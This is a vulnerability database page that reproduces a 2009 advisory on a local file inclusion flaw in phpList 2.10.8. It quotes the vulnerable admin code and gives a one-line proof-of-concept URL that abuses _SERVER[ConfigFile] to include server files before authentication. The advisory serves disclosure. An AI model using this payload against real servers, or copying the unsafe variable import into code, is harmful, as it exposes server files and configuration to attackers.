Lucene search
+L

phpList 2.10.8 - Local File Inclusion

🗓️ 14 Jan 2009 00:00:00Reported by BugReport.IRType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 29 Views

phpList 2.10.8 Local File Inclusion vulnerability in admin/index.ph

Related
Code
ReporterTitlePublishedViews
Family
freebsd
FreeBSD
phplist -- local file inclusion vulnerability
15 Jan 200900:00
freebsd
circl
Circl
CVE-2009-0422
14 Jan 200900:00
circl
cve
CVE
CVE-2009-0422
5 Feb 200900:00
cve
cvelist
Cvelist
CVE-2009-0422
5 Feb 200900:00
cvelist
euvd
EUVD
EUVD-2009-0426
7 Oct 202500:30
euvd
nessus
Tenable Nessus
FreeBSD : phplist -- local file inclusion vulnerability (40774927-f6b4-11dd-94d9-0030843d3802)
9 Feb 200900:00
nessus
nvd
NVD
CVE-2009-0422
5 Feb 200900:30
nvd
openvas
OpenVAS
FreeBSD Ports: phplist
13 Feb 200900:00
openvas
openvas
OpenVAS
FreeBSD Ports: phplist
13 Feb 200900:00
openvas
prion
Prion
Directory traversal
5 Feb 200900:30
prion
Rows per page
########################## www.BugReport.ir #########################
#
#      AmnPardaz Security Research Team
#
# Title: phpList Local File inclusion
# Vendor: http://www.phplist.com
# Bug: Local File Inclusion
# Vulnerable Version: 2.10.8 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix: N/A
# Original Advisory: http://www.bugreport.ir/index_60.htm
###################################################################


####################
- Description:
####################

Quote From vendor:"phplist is an open-source newsletter manager. phplist is free to download, install and use, and is easy to integrate with any website.
phplist is downloaded more than 10 000 times per month and is listed in the top open source projects for vitality score on Freshmeat.
phplist is sponsored by tincan."


####################
- Vulnerability:
####################

+--> Local File Inclusion

Because of the vulnerability in "admin/index.php", When "register_globals" is disabled (Default PHP Configuration) It is possible for remote attackers to
include arbitrary files from local resources before performing authentication.

Code Snippet:
/lists/admin.php #line:10-18

if (!ini_get("register_globals") || ini_get("register_globals") == "off") {
  # fix register globals, for now, should be phased out gradually
  # sure, this gets around the entire reason that regLANGUAGE_SWITCHister globals
  # should be off, but going through three years of code takes a long time....

  foreach ($_REQUEST as $key => $val) {
    $$key = $val;
  }
}

/lists/admin.php #line:41-56

if (isset($_SERVER["ConfigFile"]) && is_file($_SERVER["ConfigFile"])) {
  print '<!-- using '.$_SERVER["ConfigFile"].'-->'."\n";
  include $_SERVER["ConfigFile"];
} elseif (isset($cline["c"]) && is_file($cline["c"])) {
  print '<!-- using '.$cline["c"].' -->'."\n";
  include $cline["c"];
} elseif (isset($_ENV["CONFIG"]) && is_file($_ENV["CONFIG"])) {
#  print '<!-- using '.$_ENV["CONFIG"].'-->'."\n";
  include $_ENV["CONFIG"];
} elseif (is_file("../config/config.php")) {
  print '<!-- using ../config/config.php -->'."\n";
  include "../config/config.php";
} else {
  print "Error, cannot find config file\n";
  exit;
}

####################
- POC:
####################

http://www.example.com/lists/admin/index.php?_SERVER[ConfigFile]=../.htaccess

####################
- Credit:
####################
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com

# milw0rm.com [2009-01-14]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2009 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.062
29